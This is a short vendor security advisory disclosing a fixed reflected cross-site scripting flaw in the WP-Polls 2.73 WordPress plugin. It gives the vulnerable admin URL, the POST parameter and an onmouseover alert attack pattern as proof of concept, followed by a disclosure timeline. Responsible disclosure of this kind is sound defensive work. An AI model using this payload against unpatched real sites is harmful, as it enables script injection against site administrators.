Reflected Cross-site Scripting Vulnerability Identified in WP-Polls 2.73


Advisory by Netsparker (now Invicti)
Name: Reflected Cross-site Scripting Vulnerability in WP-Polls 2.73
Affected Software: WP-Polls 2.73
Affected Versions: 2.73 and possibly below
Vendor Homepage: 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-16-009

Technical Details

Proof of Concept URL for XSS vulnerability in WP-Polls 2.73:

URL: /wordpress/wp-admin/admin.php?page=wp-polls/polls-options.php
Parameter Name: poll_bar_style
Parameter Type: POST
Attack Pattern: '" onmouseover= alert(0x000C5A)

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

28 Jun 2016 – First Contact
29 Jun 2016 – Vendor Replied
29 Jul 2016 – Advisory Released


Patch released by WP-Polls and announced here.

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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